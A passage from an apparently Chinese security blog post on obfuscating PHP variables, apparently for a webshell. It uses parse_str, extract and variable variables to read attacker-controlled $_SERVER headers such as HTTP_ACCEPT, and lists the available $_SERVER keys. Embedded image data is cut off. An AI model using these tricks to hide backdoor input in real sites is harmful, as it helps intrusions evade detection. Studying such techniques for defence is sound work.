X3tks9WCCGEEEIIIYQQQgghREczuVJvlPbpMN45+m8+XHgrpsqVelchhLhy1NLzHNuwnOXnQ3ntgeGYNRHrJB5emyoqKjq6CKKdyGcrLkdVS9m/YB7h3W7jpkn9cTHr6BK1H1Ut4/TKDzjs9iB3D3Hs6OKIvwlVLUabGMPZCzryixwIHN0HJ7mGEuKqp4vaRvh5U2zsnPD09cXJsnkntpoXx/6DiRTXfdApmJEhrhhLbBDimqFmRrDzRBp1508z9ejPdX4OHVYmIYQQQoiOdsUS+0IIcS3LPvEj//fEC/x4Ihvj2b/z6gMdXSJxpamq2iHvW15aQHG5KVaWphgpV+edzM5eh476bMXVRXv4C1747X+8G3of//n8be4OtevoIrUTHVqtgmOwfUcXRPxNqIUJbF+6kuMXSkBRUG0H4z+6o0slhGgtVS0lNWIfx85UXfvt7sHYWbMI1Vx+YsnK9EgOHI1ErXPdaNXPnzGd7zJSCNEKBedOcPRYUr3HutkO7KDSCCGEEEJ0Du2e2FfVSkouRJEcnw1pESTGj6KXl6OMUhVCXDNyDr7D7bf8hwOWI/nn9+/y8NQwzBuJcRIPRXs4u/ELfjszkAceH41LRxemha6FOoi/N0UxY8qncWyd8AWvvPA+T06O4vyqFTw70K6ji9amKkvz0aWfJiXHApuiTPJKnbFpanoaIdqAqhYTvWk5xzIs8Z0wi5GBLtiaGXd0sYQQbUBRzAi69UUCSnM4u3spq4+e4VBEGqGj3C/72hxtJpUYE3Dzs9zgLStMCnGtsu57J//sq/+/bv93LNylxcGha4eWSQghhBCio7XrLyC1IJr9/xzOvO5B/PLVaZTt/8fngd147Za3OJ1eO61twW8zeMpMqffvSbMQ/oxoz9I1j6qmsPV6hSfNHiRcBuwJ0SZUNZqPhipYmtX9586rBzq6ZIZTs9bz8pz/cMBqGl9sXMtrM8JwsWhku2bGQ1FfxNM2PGk2jM0JHV0SIZqmFixl1uvdsPn8I6IauVbIOnoPXd9wqffP5vVhfJB25cvakKqm8u133bB5/Uk2ynVOoy73+VZTLFzoN+MNVm78hhss9/LWnJfYnH3FitmuVLWItGN/sOjL//HTkn2kUUTMpu/59uuf2J1UUGe7DPZ89zYff/BOzb+P3v+IrckdWPg60nfO71TlEc1QcZa4hDJwHcTIUPdGk/qqqhL353/56P332ZioP0mTt3zCR++/w9rT5Ve6xH+78lwr9W1ufLhW6ttZyqMoCsbmdvTy9sAEMFIuf4tKVVV0Wi3ggIPDpbe/2tvnai/PtVJfiQ8dXx5VVdHp9Oe9xkE6lQohhBDi763dRuyraiGxb8/gty/P4Hzvhwwy+oG1Z27g1oERrH/vFRY86MgLqx/GyQhMfG9k1Av+Na/N3v4Zx/e3V8mEEB1Poffkl3l+AkAxkcs+ZG1cP3y9OrpchlHVSo598SI/p9pz66IvuLN344sqGxIPhRDXHnOnSfxrkE/N36lnvufX8x1YINGuzHrfzafv/sWe+75n3lcPM/b5UIyu4vuPqlqJ7shylm07h5nnQEY5pLI93obhoZWc3BvDwVWbcXnkJryrvgIdvAbStwKgnMyYYyTnO6HpBMugqmo5WbpswAOHTlAe0Uy5WrTlYGJvj
<p>然后我还使用parse_str混淆了一手变量</p>
<p>一开始把$a设置为其他值</p>
<p>parse_str — 将字符串解析成多个变量</p>
<div class=highlight><pre><span></span><span class=o>&lt;?</span><span class=n>php</span>
<span class=n>$str</span> <span class=o>=</span> <span class=s>"first=value&amp;arr[]=foo+bar&amp;arr[]=baz"</span><span class=o>;</span>
<span class=n>parse_str</span><span class=o>(</span><span class=n>$str</span><span class=o>,</span> <span class=n>$output</span><span class=o>);</span>
<span class=n>echo</span> <span class=n>$output</span><span class=o>[</span><span class=err>'</span><span class=n>first</span><span class=err>'</span><span class=o>];</span> <span class=c1>// value</span>
<span class=n>echo</span> <span class=n>$output</span><span class=o>[</span><span class=err>'</span><span class=n>arr</span><span class=err>'</span><span class=o>][</span><span class=mi>0</span><span class=o>];</span> <span class=c1>// foo bar</span>
<span class=n>echo</span> <span class=n>$output</span><span class=o>[</span><span class=err>'</span><span class=n>arr</span><span class=err>'</span><span class=o>][</span><span class=mi>1</span><span class=o>];</span> <span class=c1>// baz</span>
<span class=n>parse_str</span><span class=o>(</span><span class=n>$str</span><span class=o>);</span>
<span class=n>echo</span> <span class=n>$first</span><span class=o>;</span> <span class=c1>// value</span>
<span class=n>echo</span> <span class=n>$arr</span><span class=o>[</span><span class=mi>0</span><span class=o>];</span> <span class=c1>// foo bar</span>
<span class=n>echo</span> <span class=n>$arr</span><span class=o>[</span><span class=mi>1</span><span class=o>];</span> <span class=c1>// baz</span>
<span class=o>?&gt;</span>
</pre></div>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20241015094130-99ca8e0a-8a96-1.png><img src=data:image/png;base64,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
<p>经过解析后</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20241015094125-974b5cc2-8a96-1.png><img src="data:image/png;base64,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
<p>然后使用array_push把内容放在数组中</p>
<p>然后再解释一下</p>
<div class=highlight><pre><span></span><span class=x>$$string1['HTTP_ACCEPT'];</span>
</pre></div>
<p>这个就是$_SERVER['HTTP_ACCEPT']</p>
<p>因为我们需要控制参数的内容而_SERVER中变量还是很多的</p>
<p>PATH 系统环境变量的值,包含了多个目录的路径,用于指定可执行文件的搜索路径。<br>
SYSTEMROOT Windows系统根目录的路径。<br>
COMSPEC 默认命令行解释器的路径。<br>
PATHEXT 可执行文件扩展名的列表。<br>
WINDIR Windows系统目录的路径。<br>
PHPRC PHP配置文件php.ini所在的目录。<br>
SCRIPT_NAME 当前脚本的文件名。<br>
REQUEST_URI 请求的URI。<br>
QUERY_STRING 请求的查询字符串部分。<br>
REQUEST_METHOD 请求的HTTP方法。<br>
SERVER_PROTOCOL 服务器使用的HTTP协议版本。<br>
REMOTE_PORT 客户端的端口号。<br>
SCRIPT_FILENAME 当前脚本的绝对文件路径。<br>
SERVER_ADMIN 服务器管理员的电子邮件地址。<br>
CONTEXT_DOCUMENT_ROOT 当前环境下的文档根目录。<br>
CONTEXT_PREFIX 当前环境的URL路径前缀。<br>
REQUEST_SCHEME 请求使用的协议。<br>
DOCUMENT_ROOT 当前脚本的文档根目录。<br>
REMOTE_ADDR 客户端的IP地址。<br>
SERVER_PORT 服务器监听的端口号。<br>
SERVER_ADDR 服务器的IP地址。<br>
SERVER_NAME 服务器的主机名。<br>
SERVER_SOFTWARE 服务器软件和版本信息。<br>
SERVER_SIGNATURE 服务器签名字符串。<br>
HTTP_COOKIE 请求中的Cookie信息。<br>
HTTP_ACCEPT_LANGUAGE 请求中的客户端语言偏好。<br>
HTTP_ACCEPT_ENCODING 请求中的客户端编码偏好。<br>
HTTP_SEC_FETCH_DEST 请求中的Fetch请求目标。<br>
HTTP_SEC_FETCH_USER 请求中的Fetch请求用户状态。<br>
HTTP_SEC_FETCH_MODE 请求中的Fetch请求模式。<br>
HTTP_SEC_FETCH_SITE 请求中的Fetch请求站点。<br>
HTTP_ACCEPT 请求中的Accept头字段。<br>
HTTP_USER_AGENT 请求中的用户代理(浏览器)信息。<br>
HTTP_UPGRADE_INSECURE_REQUESTS 请求中的安全升级请求。<br>
HTTP_SEC_CH_UA_PLATFORM 请求中的用户代理平台。<br>
HTTP_SEC_CH_UA_MOBILE 请求中的用户代理移动状态。<br>
HTTP_SEC_CH_UA 请求中的用户代理信息。<br>
HTTP_CACHE_CONTROL 请求中的缓存控制头字段。<br>
HTTP_CONNECTION 请求中的连接类型。<br>
HTTP_HOST 请求中的主机名</p>
<p>其中只需要找能够控制的,就可以用来传入参数了</p>
<p>然后又使用<strong>extract</strong>来混淆变量</p>
<p>extract — 从数组中将变量导入到当前的符号表</p>
<div class=highlight><pre><span></span><span class=o>&lt;?</span><span class=n>php</span>
<span class=cm>/* 假定 $var_array 是 wddx_deserialize 返回的数组*/</span>
<span class=n>$size</span> <span class=o>=</span> <span class=s>"large"</span><span class=o>;</span>
<span class=n>$var_array</span> <span class=o>=</span> <span class=n>array</span><span class=o>(</span>
<span class=s>"color"</span> <span class=o>=&gt;</span> <span class=s>"blue"</span><span class=o>,</span>
<span class=s>"size"</span> <span class=o>=&gt;</span> <span class=s>"medium"</span><span class=o>,</span>
<span class=s>"shape"</span> <span class=o>=&gt;</span> <span class=s>"sphere"</span>
<span class=o>);</span>
<span class=n>extract</span><span class=o>(</span><span class=n>$var_array</span><span class=o>,</span> <span class=n>EXTR_PREFIX_SAME</span><span class=o>,</span> <span class=s>"wddx"</span><span class=o>);</span>
<span class=n>echo</span> <span class=s>"$color, $size, $shape, $wddx_size\n"</span><span class=o>;</span>
<span class=o>?&gt;</span>
</pre></div>
<p>可以发现已经混淆了</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20241015094109-8d56489e-8a96-1.png><img src="data:image/png;base64,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